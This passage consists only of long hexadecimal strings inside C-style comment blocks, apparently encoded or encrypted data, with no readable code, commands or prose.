c2bcd3f1bc1e22a6db2e4cecd8fd58211362bb502f2009aa1251a9f8429c72d91ff0199ce41a715f7d5d858f978a5aea6121ad2f74e84a74f1d2f9c47196c4a81690a9b022c616f6f48231c84ecb757fa6787cf1c28dd2c2b065eb76765935174e4c4a47ae7d3dba15eac863fe8efd0e90b24f0e1a68e7e0ea5134b579df8eb8265627aed18da4290ef311b5d41269a0b6511f6f77cff34ecdd589fa40386c91c11cbbf6bb3d0ef147f43dbec9080c8d22be47eade03b466c08c63c97cf514d036ebf75d2759b35038cc453c724bf1fb3c3e32c01de4dc84e47fa0c1704eb9e9da04c86bad50b43b7bb8fd68014ae08964ff67acce9e16c5266256ed6c55ecc21c07f02dd9a9f72993a610df32ed3f6d009fd21dcd10dfff39307f4ac40abc54f18386bd2db745c8313c0948e9c6c8fc9eacca51c04936d7d33f2cade1f588258d17371541d955dae78650605244653b5197c54d7da211a7c35ffefc358e643acd5608776dd32820a3c834e45d78f8083ebbf8ba3575920289bdca40c5ca4a5205a36d5c6ec3bbd3b500291728e7871fbfc6c6c19aa9dfc4cee1440f19aa528e6fda1cad51e84f616a09da789de7474080007a18424932e27ff19ceaed68b26259ac6e55c458b8bb46c170fd64f27373b5e3edf18216eb2946c481d6333e711877d05c1bb58327f83dba0beb59978fb8d0e8ae3010e86dfeda0298a9d48b8cb9f6462889a4e5d21e3f76a30bb8c60a1cca86d928da3de9f299f6f515784a922394766a9976044bae3df577b66d48984808981e10bbe75bb9e01813334b454e5c1a5e517a0b11634c1ce2140a3a93c5c508bcc9cffb759eea5d766ac76515ff066b76f29ae2435b10b0281f3c8450e429cdc6f38ef685b9d7d9bc056d5c4a53e9bb8b7f2be57d8b7643665227d9a75df2cf2e5d7c649ddee8db034d49a073b37e9d8abf333dfcad2c3a6da893f910a3350eac6b2972fd124cf182076726426f6261a69e6591f9fbe50d3556385ac0676fe53f361b1b1c555880427bbe6d7dde2cf27068899238c23dc242afd12e683870d25741881766acb6cc9edc33d57f46d9b39b8a59b1ef3f9f96d769a4d25cb98d8c1317410f1c6d1c9eeed8ce94cf00aaf3b60878bddebc1ad88ca92175502c4011f47c46e032d32ab7d33b3612e69eefa0e0b6548d13feb1e14cd14371123343c116fc960ba994cfd74a79f6c0b3175b9490ee4072f2e3e560a758947045294b6e162bb7c89f9356a26e3a6550bdb8c2eac46d37176878adb3a4ab1f38e4d7b626be3f08d34dc1473179c239d7e96bb38ac210fcbceec179f84be529026466f26859b5cf8ced84ff0d59a353ce3401e6f0163114eab0f0e0d0dcbe5c1e12980c126f8d902dddd0950a35e2ec780c307a855860ad399818067782c4ae91996b53da39b49421d80b59e686f7c0cf9ad8c8e3cdd0709105cc019f383b9aed9d110ea996e0abf7bd23c3be2059bf104e5eb957d57f331a6f72adec5b286fe70cd128a8837b56196bfa47821642a2dfa6762d2e6e1293d8132bc6c8423e79f48b3483b82e53f3a8d8483e0a6c8d2ab13b6fbb3a65028f1e8092ec3c434ae8e86e1c3a03ebca1cb94dd17820146bcbe63f63d6e0f5d3a20b36286eb85764f711be5972dbe70d66e09f00a912599dff6a2cdb6747805b8242908db1f839f9e73c023dba7c8bac30436ce8d535b53a80187975fea755e77c30dedaa27e8a4f6b67e27a3988ee9036fc83b52b12407cf4757c0c17f4a38924a32b1282267d98a879782825df2a5597aa0442689425df954357ed7c0ca28f14c0c87ea7362fbea19e5873ddb595b9f9c388b0c455886304305da034c0edcb04382f782ffd7900385b10877ba92d9c5b31fe601e1b084964f289daee51aecaf23a6b3c373dc346c9ac10ad1786b22c9b971f1ed5bc54fc9a113b6944c5b075ed7d596e01ba17307b75b2b1ed3eb2cbdfc9407e0ab82d09d565e4d226db90392d878a6718fe225f2b0e890efded641a54ac29fcfb*/
/*e42b8bba9053bd1d79572d701f205130c9213636fef232adf6c6f5f4e3235b8687952629f4707aeebf2ced9d4d52378c8071eeafef12d22bdc45e9f20a7df103c5fc8b084a1151e2b1697bfaaddbc99baf5f724e1181502aa714cd70add2de84f298c3f852679dcef2bac8d294522ed5ff1458b8502649047c0863886a2cf1380f37a4886350dcb544e3bc85d51794ad0ceda29219e77666e206d39d17ba255d9971b78239a643614db86c7efc64966a0a3c82678eec4bcadd7426e1b7af0f21e28d9f364d515b69ae61db56de27952dd8e5df509bfa02df3f9c7912e6dce1b03d8a69946ae0d42fd9e6a346b3db60ef2364a20a525953b20db3329808e7d3c6f1f006ed73a21870d7a6284912e17b60d051cd44b0bc387b2587adcdcd65d8bbfb0993937eacbf1195e4d2e52841d9b044d43a6d2a084d6c5028137609a00c76c623f0829021a44b67473b53139ef25183ff57a6a7de4a072fba9194ced74167fa924bb467577110ae9a04a3cf1575ecfeece245fc37faee841958173d8cdd27f3aec2a0a477f047d0b74c81827807f5febc667ec41f78f8945a04b6503f90185e0d5d0bea6bfc3197784e8753b87d57504074361696fdae56e3f70eeaf34d8b02f2d687db08cbc563cc2fcbf8a81ccd8523f3ee5adc8b3669f6b3a4c9d6c40ae7343ae8bf7c34aaa44f92944858590652f4e04454882996b1c5d1efa0059819901ab4d3c8e91175b7760d0d1855e085d7cd1fee687ee79fcf2414848e69de7dfc4762a0562c06b0f9a5bcfb374e099ea47022041e4d45a9ea9e0ccea64efa65a119da5a59159c4c22e547ef763733c6e4f8dc2a404b97bab1232d5a8c2629b2aa59c296b915ac77ff88b91c57aa88d11fb135f4dc495adb9dc77a93cdaaeabb8501212f434bd602cf224d40e35fbff0e52b22ef03640fb142dbe565439405b8b5817ca1a4da98112ee3e74f9e3671c13937bce877a06bd1806803d750344e3f1c1c02f1beb13b2a123ee60a828955132d63b5c9ac508d0d361b0961395d215a7097f0b3a7ada5453c026955a97b32a1609c7dac2223fe9f51fb81d085bf676fc7a5967a00ab5de1d59bf490ead949db5ceb60c22e17a2a287ad7ac94b811e7ad5ebecdebcd1f312358fd348709864327d71f8d8fc69870033ea1841baff7e397aff00f5f9e6a7590431dcdfcd2fc8dd158bdff1974fee0df257cb44bbffaac127c35d42ff8e183072a1aaaf2022d0db55ad301034bcd07626f3ca84f8daf90b03bcca7d9b47b10a9ee57e4eecd9ffec67072541db38f8d582674fc058f6e5bdb9b922677130bf58d513a2bd2c272e987a7d8d3efda0129ddbaefa0ec2265fb3e5e0d7bc21aca2b090f9202e2f7b49886f58e3e58c559ddc5b4ad20749c2605ab6072e71673639b5a6affba4f1d0456d11edffaff8e1eefb3b0f7771343f695fff5950ea93eedebd28ae1fdef74f744e9aa62b174e84380b014e3eda3b40308b7f7f1507d993edfeed992f1dde5f3ecef989ec54a6c18c619f96e1080f3ec79bad0903b8af2a04da5f11c5656384d8b99faaec24d57df7aa6195c2ee81a7c741d37c505760aa2cbde1166de5d9f8947cf133e4cfdb745d8f6a18b86669054c3c7693e4e9956dd8e47211067d97f6ac38e13312363fd4c71f79157016dcb990cff831be3678f660e475334951561538de73718146e4452f32aef350b6a940f0cf3d9e666b7ba919f9e3e3464bf1520eee0136f4f40a1552d4f14b1efaaaebb026a877c8edd94205a1706db0944026b5951d1930233ab16b2abb16a544f25af081b6f03f384e93d61a01743e5e92d16e3c29e90982388c40a8c7bbdce3e9e55a1c0e7c444dcf0e9ed866a70c15ec6cb44d7f89340424926f9a82963b6039432d5117417f96905fd174b28aa37338ba37b0e553cf3f2ba8012aba669c5961175302bb86bd684d0051460cf4fcbc4aa4b8ce315cf553982d8207a13f10ec93a0624fd3c8bcc838075738ec34b9f06bc421a0a1528a05dddd425e04a7e5f2670efc8c97a9cc1aba203834387e851a4d43d7da8c7c9f00892c14a717c1f40c732028dab3da01ec30aca0d9cd56f854391bcde77beacb5489db40b9df690f1c2ded4a607308b8858013c2cf1095778fa3ce946ed57b039c565a04e9183872ae3b92315088d3f373298d4aaf4e3248ef2e70274f30f06250dde9bfb125bc5ff9f57aa64560972138158360e966ac8ced303ef5b3e71cf956dedb931345b75f46bdc10300634c1925418f32bb752874613ae2253aeea352689485d61ab95b94242aaba38fdebc923522895760c265fda27b13c8690fd997a9c599c02a8f57e1624e0f756fecfc41ec3fa5a4c72496fc47cf8da7fd4df1acfa3f98ecdd22d22a6e7298ed376b6f0057099cc0b72585b89db02b231d89c44c2f706e0adaeee7f8d3be0e92f0c352a9def311bb5f02755e7974bb1cebad4f543a21529107a82f6a74249eef25290f6a2f91db54c5c977b71084b4e0b3c354f95adbad8f6fd9e635fe0eca0272ba6de9a27f507689bf8992e1f93eef7a8ebb9e526023e49e121ed33afc5bf398ca29dcf77faef040a51f0cdbb1b59f0f78a3ae3b7ac213b18fb417c03c8f73b1f9f0b6d1fe73f77734c060cd219f0ca5154e7f684fec7f668c9395ff2bacb4008bd3b46f9f6c1354df480b44bbc5c9548863e8dc5ae0b4e180e2eee5b9d5b246e534b4dc0c404245048c074da8ee3e93cdbf1bc9fdba583b07122d4d5dc926a9e89af938d98f4a82f532af62774beee844ce694f7df384e4df69514d0009d6711c9741566c6b37f02783d124079ed303*/
/*cfca829cf1fce582aa58683393452038fff17250bdc239fcc38694a9617d9f287f77b28032ac9bb3a3a603a4d460ab0c15cdddab462cf6fd90f697428e634bf95e1d39c56d69c5b2959274c7e435d08444fb8636161e18f87126b917de5da0e388e258c6ecce2916f74a0c705fa3c698908fbad874b75c4ec7bbcb3ea72aa7886f8f1d1922c6a8c60ce1dc1778dbb9bb52504c36eb4650a980b7ab31c194d7492bdcd96be25b66348ab4a130e84acc6fb2728821b9f22e9a1d7d1afe126f4dc8d1ae731eed59b6097d70a4ef26fcdcb36f2fb8242ea11edf5f157fecf6cab55fe185081abffcc2976896b877a8ae8ecdbe2c0627d54044c5462eaad8774f677a3f42686f13c232f10b581672d4fa1865c962525aea635c0c1a184e98b8fc587536b0daf35e5b12ddb35d58767cac433858349f48f12b28847a74ded6485f93f03a35e614720270fb85bdb3072a99f35ad486edba09f588306269716fd91546df4da47b8628606bba068dd60ab9b3bfa414e337390bc507c27cc854d4e946b7f040189c4d3b538b02137b33ff21534a77c7c125d195fcbbc469911ae8f22f98a0f10cf6a03cc4a78f94f44e9f1d86796a001324ccf5ead43c15a27393a75712690823a50b2affd5f1c86c842d9bae305ccdc626284a8822b5c81e00da41c2e78fdce950542a276b2717388ca65ccfbb6ef10d3a6e19cb02e48c79a2787d3e2a1606194a0d79156a368d8f792a8e1638588880ea73f49138bb6d78312ffe28753ff7faa2cca373b61ad9f24b049f5d06e33972832f8f8d61b6eb08206802cc3f2f3c6baec8db8a43150d30880787bcc826f9fa0872fb25ca1dc293001700bd2b882c58aabbff7b150fb7a1e5bd175450ca6392fc38e10e415b746bfafd8645012de784d5302dfeef5b2b0a185b2197b96c4f6a5b9df9b56bec368713a8a1aff9caefe3bba62b9089414173779e974374a2aa18d5c83d0a2d476a534ee62cdb3a19c7ff9c9cabe5ce06836dda8f5774eba72e965a09a266e16d3ca864ea78608dd3dce9a2fa1787150210342188c6443bf33ec4e839c9a5bb63a5ab2fa8e197e0ba81e915e039ca63903cbff856c857a2b07e13a9b685600e4613f3f96b198d3247986c8028ee7310d1187270abf3a92cf392f6eabe32dc75a182a7ab8deea763de5a69a238bcdbfa4b8c003d88098da78bd44ffa3a5d30300f64ec5063f763a918641fe4c98dd7490ff94bcba8974bd789437bb136a83321aeacdc46439c3051d75755a1fa607dab9af0edd8940051a41dbe20aaed502ea03f025fd9850abf153237809e3ddc99e341047466ba8815aebda596d3bf2102b93ec1521dfd335f0910443ea3afa3a5458e2f70ac36afe1b83b8b00fc6a6a3071fed4e8ca29cb39da9078645f12c061124a9038955784836492b1e9966f2dbe3393d9b055dd23575e6c0ed512901162c5f8aef2bd790a56f4e7d0cfe03775f2c4dfb45154815d81b4423d04c61ec4e26865e486942befa42d34beb4e1d48d16de3045a071f86502e66cdc627f292c671815338b18df5a17073fb68ace0c4c7445d11fd9130ae0468e579ab1871f9e3ed2bfa83aca09d16a603e0533132677a451f70f4d3fee3daf820f27306533874edf06c3fe57ec47c398ee5ab108659cda57bec7e40b8c3f1422f23ded89263f0b7197e72ffe8b57ceb380b21dc92d56f6d1f6d8e7d80b8aa0802cc694e3cda237b05d3e78e1b4e852d59644b805e861049ab890d2eea5ff42ac198977073f4095d483251089d88fa084d571ba26f6ea9135c3ce6fa12ecf435ec8ef3591b4ccc823c731f441ce911fbf0d221df83110a60f4f333b8b734000b3bc56da82c39c89b42afa2c6851a856b3629213e2eec912ffe4052edbf27707e9a910e11bc6a4aa2206fbc782ccfbcd03d1aaca7742dba76a8e504ac2b1d32236aced34a508b36bbc1a1607634b48f0093ea8643d2b19e40ef64a37e8cce83d01188a6fc5fcb1451327eb1e437d1cf123c9da5cd42d699806717a0fa5b08d5a057f5f7257cc9740825f2da54c975d680bd4a323f889168903c6be1fa8a1f853a99070ae32aa3f7593299269a6e9172c461720e75ac743c90b21d0b470bf19ab720d558033bce6a35f470ee49f81095eeddcb3ed69b2affc6c4e56e2e8b70965fa0a6c6250fd123d5184e73a9e63a5d24b0d084202fe076ec0ffe3d10560b5665b3534bb5d91ba047d664759951aa69d19836fa74256931f9cb1941ce4f9cdcb2e93d5ec01d2717d7738ae4be05b7b32cab470762e184581570a7b0e4692a9fe88860446901d5fbecd00225024c750d62b21f0fe22f1c8615c5006c3c4fed8c556d675cf473f9fc508d8fb2021b34fba4de558ca9442fce94364157dc65cef15cc038aeead32da35cd9b60006936a497784f7cb10f7b68cf5d9279fc06ec534f1391e68dab3861bb71482e489f4f9f0b906e476aa5d82fe8a92e6c224d9e2e3c42d2a865c6d5aece4604b18c0d3c2e33b4998d39ce2888bdbdf9f1aedd8957030cf46fdaa451450fa5fba2ec1b24c2d60db1bb925fab191af90c7da184a935f90e85e96b17bdade38014e8edd8d7105e9fc44869d9242a9815263f7fad7910ecc5d0c3cb7ff364eba278fc4c13f2650f59bbe560bea17bd17636c687a0f4cc5eb329adc9c902609aa4d5130a78e0664831585b82c5a82f890d536ec4d56487c9f9a2290223aabe5166d2a55433b1146d8ca82dbd6578c62be46628a5690c90a1aed00d568859cbc23c83ec79ee03da43a67f6d5ab049a1e9ceedbff78f58b8f338129c05f9f6e02b028c56f9f5214ffc1cf9*/
/*4508f8d8f393fada4a207059e729cd57ae400fa9b22804bbf3947d660790c82df6b8fb95623dee160185fd5499c96ac5da349a2e22d60a3bc9e59ac551e05bc70794a52d398768203e35747e13cb24a2890d3ee7d2782a654995e20a317ef3a50ef8fbf2ef424d638bb180c065c112010d6f5050ad92fef388109ae29e50e97b903a85fc9faaa0cd536db6f7622826eccf62cc08122f848e752c5ca39a1bca75db69cf17d8658aaa9c5e0144d9f8a0873d72d48aaaa556f1005ced9b2334523023f572ff061caeda2e6bafdf69f11749c8dc41849cc7c012e53884e5c9745be6c382f66f4638b45bce736934bf0f92a0db12a2595dcc4eb01eb25c9e1269a740ce56cbcbd1f1fd0cc902c990363e11be440d4baf0495cec481b99cb8c65d89c7dba26ac9725f2cbeb227ad22db419e5c447a2a1d55837b267b2a85a078f9750098a76eb951a2fdfab7b6db122ebf6f2c062b5ee90a10f99cf17839fbacb0ae4e42d23db83087d10d4be65bf673fa991e45dd352824f3ed98896dabcdc7566b638e4608596c2ee4bd8837744340ca98a95363700364a3de8eec764e4ba6cb70669786d63238b658fdc97b462c377fd0b7b6c1da074f783e5feda6c1a9636868acf94e699500c09504a0f5cb46f207476a9c3d313436dc77f3c03d6cf415797fbe5707bf5e2bb8369c01cbd178eab5ade2ee0a03da136b647407f583da87b91bdd98717cfd860f32a60fa36c56ffee81f1cc798358ef77a072adc360f47b6f4d4236c2e96c82916320a4f04556ab8111081fbbe0ef095c47c0387a97b1356b9189f6155469977677a0bbb84e3a64a368a5fe9f82963327b85eb15ab8b472f479093a749038c31259221a2d155a8e94a512694d05956bbf51ed3d0c94cd7a32c4f23c225adbd0361c6ccc5e2a7e43eb62e0a1c6c6117528b4bb8d304502d2fbc27354565bfcd99c3f7bdbadf1a34eb899757c4d2ee0ab7489fd1217697f85d98f566fc31e1460d6a5dff08553ab12d501e768cb9bfb5430aeaac7d7b19f2ca7acb9bacb95a3d2e7de02882e55c5940b8b8ce1abc0a8182c703de3ed517e3203c6850bc21ff7b961d9e4fde6724d6d369401db596656df487d7bdb4aaebf89f3224f5940a518ddd4b72e01f4f737c3a94a8798cef944d11a2e7ba1e6cdc43ad90dc47f37969ff23bcec8689b90b4f3fa2c423f5ef40fa585e1cf18bde150fdd029fba699e07e5d2b42ef7511951ecb6b5c51bae4ed5cebe11b89f16fe998a38d71da23dafe463528b6e979ef4dbaab88a2b0fb595c1a3da0ddc86abac95dbbc521a12e92063c32426856e23ae6802fb512f70b744b49d30141d42ca3bf8992c44a5b4554e588c080a0110cd5c5fe5e5b3c1ce285cec09add72d3fa0206222d90565afe1cd2bf6d5ec53fb5aecc3575b215aa9b5163ee709aa7cda1a29c69ec112b0847b232d650b1f1116e6e1e90ed202a37766b7eebb1cb96fd09c3880d7a21496235638672b01cbfd80fedac03a8e2cdc882881b34f52586518ddc995d0b6eee347fa0e80071a553dd88fff21a9f908abcfb45030bd40d6b08b141edaec0ff8cfc16ba1c8b1244e3e80328f9d046903d2d8231a5a3cc37fea2fb18385482cfe693553f74cd07364814d5ca121d08968ba5fe9ca37481fb2cd77298be530df94689724ae5b207bf5f33b4269081cb1bb1a5771b21ab19dc29b84b4ffd5dd0cfa270acd4722a67c7c3a42ab3266a585be876b1cde0710814b0246ada6f2ee665e061c1463fb482fc49babc461e131b04054234bd845ec19a0e24f11ba19af70bd6eb02f30c2304996133f2b522d52a2ac163dbd4191391cfe31d5ede526ce9b58700c42357ae44145a93e94a0cc8ce80907ebb6f0c459c85a715e2c4769707105243283fd8a94beaf3259ab69c8c9e49a3b610f4d15ec33aeb3fb9517cf4876191b334a8d7ec5915d5e0c4010d78fba03178b6f9006de9f7305024563d03f094bbe21ce72f1f12090fa0765ddeaa61b44f58bc38edf4c5c70cc6e61f72d06830eaef2cbc91908361c05b3a19d948c041db0290fc1ea6fab9211889d6520db551271bf226f36f38865c53901c838caa52792349b6bc45900b2a0c552ab42bfe968a6217d86343e7f00a65fce96db2f3bf2df2f76aedd20f5a1f144366f3e970bbb6f88020814af0b4d60babb906361c63397d13db4e9679c30c4262a86e3872f3d080d4c804c16f8d69fe88f10e0cd3dd50e71a787398324b38ba7b2510991825392e8cba50975c17a751ed04717a8c263db0ba2ac6d66c29c85ea18f1fe356d79ea465d5976a24bf0fd9016f92e7513644e3d297ac190a5afc962cf3c3aa2c5e5c86bc40a0cd88916ed83957f463197709dc8d0328701e0fbd7a0da49b690aaf21ce9c1c258eebe28f7069c9a419fee45bd54275f53a8679fcc77a28ccc4eea6969cf4d8ab9bf4c7c7c57bbbf8a91545ff8c130c5e5f41129a1da35a0669af137f45c00104f16b54ee78c1f3abcebfa37a8b96d809d54e930ca4781ad6833423bd16cfad44a380f4bb6c401861814fe875c0a379edbf3c713c4457c5021da18fb0eb13e29f116b881a325fb1a41c9f4f992a916006a1023359ac39ed026f199671c6d14e5d51c45d6e8f208a19b6ddbc2f4be1571b87c5ffce6bbc8ebcfbaadf73b66531add8e738ce0373e3c1b1b2fdc92aa4477159067cc134b46aa87d9863106b1bf9fca9d68a241dc22d10e03345eeb152a00adc7d20bb7f4cc732b06a78b9a56fb66b9f1a720fa51affab52944c30f26c390dfa6fa0cce42ffd3d22d29e342f8aae8bf2aaf96faa1d0b6d9f24dff035*/
/*111300e6f95a6472b33055cf8d192836cc1fa994163b7353f4c61944e253e2c6e39f5dae872465174a040f6ef7208aee432258f54dd3e80a106be3f8eb57d821cb838e9cd68f7bd4d4f773b57a5eb599e938990bbfd204741da827f626f6c1de901ed6bd08046ac6110a62973222dee1e43d8ab5c9edf6fac977cb290240a3bfc73ecfb33d35fe85f9babd5964bad3a593ab3735c5868dc2b149c0a768479248d5a6636f789d4dbee5d4a380801ec5e6050a930f028d04e3fa950c4ac056e451aceb463f0cb3e79b2b0324d1f1c255845c7680128fe4c0403f04fbcd7c7b8b345a36572cc2facf8be4904d80dc0f238bcfd59600ffe2bb28a0b6ba6a13d523a73d43ed4150f1f9059eb6d40b65a4f6fa4c416ec4b33587170a545d3f002e593c03265d87f024a964ffdc8dcb83af6526fa9c9f125431a7ec5ca129e83176ce83358ea7292eda247375ed743b8e43ee6992eec510ccf4bd814f272c969ab6f40d956a3bebae6c971f37f95f995da86b089060696e54b91ad597b46a5e74d81703c8e9c9e1040ec6a01ff85f45fadefcc472611d2973ebd52c0f9217abab93feff55e61304c06c663596ab81dec81aa10e57f2c921d7fac05339d18b8a90c8e410bb9f256f738625151f70852e6a22dc2d7814c9fbd23221168913fcbaa5e32189b5707a4f452183fe529c1c5955ebafd5bb20935a45461e542676accfa1ae6dc85bbd93735d16e9b6b47347f7eaf45d6c0dad0c3036a5d2d3ac80ae885677d9e81a3ad17175d83b4a4ab7ba1b528ffd42b90441858ed37d65fe2dca7ae73aa78627989f727d0405fc8c32b9cf5473e426a6b947a5c835e2aead10271b0a1d910b820f2356b11016b1126190b53e03d68a19e99891078a4999b0a69d63cd29db57bdd1a903be825ed50d15b095bd6c714d780abb704552948861dd2c78ef0f7b23ff44172f6f12fe564680f88e8db8fc05b63ab94701a865e3614b28d0706c08aa008a4f7372065ca5126513abcebad46187426b1f6b26cc5ddbf7289617463c5f29ef94456d989260c9efadd9ec82952eed0d735cc5cd3bed74f081aa3516483ef409ed4058a2c4e34584b1489518bfe55846f7c9ea293da425730f33217813e6b5ca420cf4760bacda815497120456ef52ef03e256076e71c67a65ebb0b1d20be3cb1260b3a0865e61ddf5c1dac21df14004cb49b95d2e6aff932e5e1d0a090e8fff6a1993d2dc8419494f2f1c24cdda360f52df0994b1951d2c8f7f503d1c094065c77c931d2303f57c3a2a2f4e1d8c65eb34428dbe4896b2e81f3c4236b4f105bf86532d48ead8cb2fe44f0bad01417fcd7b94f56d17844e520e690163f43a005654495a6524b76c46d170f6959874ce9236b3ae6a11c4f368582d843e436f66df54275947dcfb4968df7bd7630e6bb90e626d87bd29babdc43ade1b2fc44fe79ef416dafb23cacedc39859461dc134ec3a3ae9e3e568efbed2fc79ab7f455be87ac39650ec7bd804d9b3fa8c59331c225d53cab3c11513398a4f4cb85149686ec81c022e83cf2b221be6ecad36acfed05590819bad469ad3b34a631faa6011a1fb07caaaa4370945f0b63bbfa50c4b00c182defb411e15c6f952ce0e975dc100b4fc51d98a75fc120b5c028be2e62ea62082f4274fab1bd33cc1ce0d87ef114a052d7032d5e070cef8c10c19613ad906ba50a0b4f2e97ef05eb20af98588019583e9b840f25ea7746d4ad7b52f11d35ac4a834a5984bde7a39f1cf91d0e5769bb4b163d727b49fcbd2cc3a9d5c6f8f11417643a0a6fc821081d60466aaccbb5375201a10fe450d8a22e93eb3ee5e7fc6e89867427be74c0bb235f442361b8ec2aa6dfb2ea22a7e39559a623672a4853ed20f708a16858e22bebca985df1eff92cf6123a0e8595574281d81c7bc1221585fde468f45ae5e99b81baa5eb479e1dc6217e7481ab544b2cdc4ce700af907dafe8b5736c8a471d8cb93a426ed14243ac9f698e35625377cf7fdb17b473ee4fb74f04b4351e15d3f450fb2835d281067ebadb0bfff7fbe6692c5f3c8caf65184a0026295567b178d5e1797137268a7a85c3601897f601b654bdcc463a62be15a80779beedae109aca32909cb6917f99ff97fad7ea11d61b2ad413fbe8770f931a47de6325d487cc2cef3f19c6cf7d7a819c4ed4822625926a65e22f00819512799b2bb26a836da0d2673ccb25a237bea38ab273f1940fa3f8f697a5713d47c1aab978d09d2ab0050c582195aae3d13f5049e415f187c5b1fb15fb97582cea9c5841af70687355b6275022f9c4c720e44f2885ea2af86f7863ca8a31b896f3aaf167631d525d7958c1566d2bc7f952edc1572fac193de85ee65f8dcba747084b928f7bac56772af58b7a5390ca1f7f91005c4c1449730547fa48c1747a47d1da6819c0fd18074668ba105ef8d3ac32b4f4117f46eae346413d3314f4b34a925ce649511783f674836f76f8772308f1ec854c06a889776bd538b271541e169048280b7d05f173e46f3dbde8949c89377025a9aacc06eb3beec31bd84bb64d5bf884cb8f55204b86d1c022b42f988b22ac7cc208e0f636eef2b0904307b377f9b7eab7bb3a633225ab77510e8fbc6a421978ed21290edc1cfd4b4d1203f6c20c256817d032675fee148350d477d9afd894d3f5db2ac3a6c1a27de770d47bdd84364b716f221d982d28ee80abc0c765ec11a751c83b2464d8c36ce92587555ed7af3ee6adee39e2443d8725598ee22cc325d003e1d38fd1b3c737fe90fb550949bf3b5deb2bf7ba2b3f7f86a2a5fa0b4adf12decae01a5beb5170676067202dbf*/
/*c26e182f5b021bb17a20ac205c480211335b49c9d599762dd9f1a96ce493544af5a27366d7c6cfca22b58c3c6ce1252360d54c1fdebdc68c03393cd08b7b65f0bdf07cd2d9e0d8dc3358920fcb8ac137777b3e60a4642bc6e454efebd6f82b255ad8a46e7d73f6c39fd9f047ed75287b8c6cd684c98af7141deba8c50a95a057f294df88e4764f126d937ac30f0ce121d75033ba48a4601d74621107c55a746d8d82745363488badc5b528bcddf342bb0c362f9b480b8ded34e511094df50b68eb3b7da8a899ef93f954ca59a480979741fcb49f08b960d23df66cb7d17682310355b59e9ebcdacb41c049ee4cf10d0e735a9c7b710834b7bd56b9f8e5cb4852306b0fa12b0c08782a5c9b2d35c49b35d7139c41995e9c75332445e364a9f5cdf7d6326db4ceaca1b7dc208a7a62bb7e41bb0bbadfd061090d52fec74c4bf7e2a2c3d23cf1a9ff06dd06276c5b88a5749a14bd3e632e50d2e62f7bf31bd8c50e15366372fed09117f6d6ca0f025bcc199df3d5e6b957e2b1d3fbfe32b53200d76d0de5dc295d20b13948bc86e0c7ed48013bc4a2a7d8f3e87aeab1e3c1e577bc464df84a5daa385e69a53b2062bf3f47c6dfdd00e9846e791ccf7ebe070aa9f454757b67f6b942bb8705c3ab7d07f5803279a24a21ad9088c5354df8631e9fc59e1b3e007aefa95a5c075ab26d07ebac56a087539583717858e0b7ef439229850533ba47e7e6dd9f921102ef8f0689e98c4d3e94cb7e35575f48ef74961b7154024d9eb1825f0a72608e2a64a949bb1b38c6773481ddd29555f4aa5093018ba8a45529f3a3426e4a411a4044623bb2bcfb8cf4eb56d4a0934e1f8991b92e1591cc6cf39c316890a830fe0c281b0b1811306ff8b4f728f1431a1cff742e83a02e707b4ef156dab81cf7e864a3f1c86e5eb5663f67198c3f8b030c2b7dffecc6e1619c637246e87dd7ddde2aff6b8c0b5965f2e8fdc3dc9106322c55f10085ceadc87a878ad25e2bc3408033392cd5b435d9ae4ffcb725b5295b71b55f0c71eb13c8dae863c48fb7d5fe272996e61c35b30a3cfe0c3785c3f500b885edc2c686d02c6b6d2c08b1af4378c486584e1045b883d62d5ab66fa7b5c07322e7be588fb28a76acec7fd5bd3c897f64ae200255c2e008a6f7cec9a0d35cc10a401aad65eb507c3163120007c1fd6164e60984a5b4bb958a671eae59db2785517529aeaa02c2287d4fa6edb1ee550d08939b2eab9ae2db3cd1ac2f325aed2fc4f3259dcd50569678cac7971705de332b0f83bfdafde1de6d0f63c5a055f20db4a6ba1bf83d5a55f37b6eb8e267e9503f5180b600510916bf3f10fce206442aedd312df1a5c0868d4df771871f86631edde892009062d71e3d73e47cffc8afbf1468b025b855713ddbab7621ca65426a1780d46b8eec242335249c6858a16bc148978a13f7d493b32fb323ad5a20d750086bb4236d22668ec4e4bf77cfbc1e44ad264a33849db2403661f9c4afd762673c6d1bd3e681ad846f492f6c5b3b28c0bd66e576e8092e688579e82f777387682643513d7e4c6dec0a2d038e413359582d765a9c2cff6c0fea8724af3a47a7314caf210cf8475b0d7412d9d40366904aa397e16bd34bfadf667ddc9fe42c9a32414f83a5e3119f667a011312e7bdcdd52ac88d01138b58ff10aaa1a139b67b099210462fffb9fe475423a510a5a652e40fbd678a0d957769d82e9f7b50685477bdd7774390c5f402768fd93dd87a2dc678ccb58253e0f33bc2c86c4c279f957d48d643f576aab5d325e87898684c40c3f5b08ea5f0f91a0fc733e666a94cb21dcbc71d4bb452d5cd0ca5330ae50639c273d57c899f5934f56341a215de13298bb195f50fa372d9496d10514db048323f4487c4e928185b27d8ae410d90409e96421ed10a9d889f823e02fd69de2775b5ec1f9af6ccfa0305baaae20545351df57f5d81be16ca8e726d47ba165161db94adbd301a939c4a62c1ae9d26c0725a80d29afa9296589b92186d55df71753fa55c4718cad308b5fd421ed90ba5c3e1f4b4876c1e29173c4eb25a315b0e8070fe75f9b8b4e426ba056a62c1e9341140768df2a575e22abb68f639524f6e2da0b238914868810f2407d2891f86361ea521fe7ae441d4629c54cc5d048beeded483ede5c4b3df58337902b87068a83f58851941b3f7704a05b0bd238104ccae271a133b63331b6b82e5174fc0ecf86633669a5482b89c9caa6f0bf53842fa77b9d3d3b5d3f46d7ef58b680a5d615eff4ab8cc935e9888424b4ca3510e9d8680899e8615a9b6aed9a73eeb9fc4330fdefba953024dd6dd1dec1425441ac3c2b0cdbe37e8caaf9f7eb51ca1ec411558c9b66fa60e8723eb0c03f4e1ce23cc97c31ba2bf4d025fd148bb75718e7dc943d00913fcad2659ee08348fb463987c1822e959db3bc1ec52fb755af1cbf592c49f707b1478888d7240770ffaaeff25ec43fe9f93db290dcb1ab134af10b267f7e556aec3db3b4e2c92fae98e784036ae9fbbe1862d8d83f15ca6dfff0b7346fc810adb25835f91d3bce0f4d718a73be410f1086a7738c250f740de7d636de6e63e385bd8f4b09f43f16bbc1985e338b8b70d64cf1aaf367275cf72f6a6da1058b556ec44c0875ed4e7094966f51ad085fe1e69e2bb836220cb9edca91ad0a37b97308001c035c277eb69f871309f2d99bd4cf594fa5a803dedaf94471d4e901948b817a8ab10867e2e5353aeda072c17dfcf29bacebaad82e7b9fc3390a0c9e026910b710766ee9feaf49196f7d33e4c1e3bb1f04418f096309661702d94459d096ec46e8431889da*/
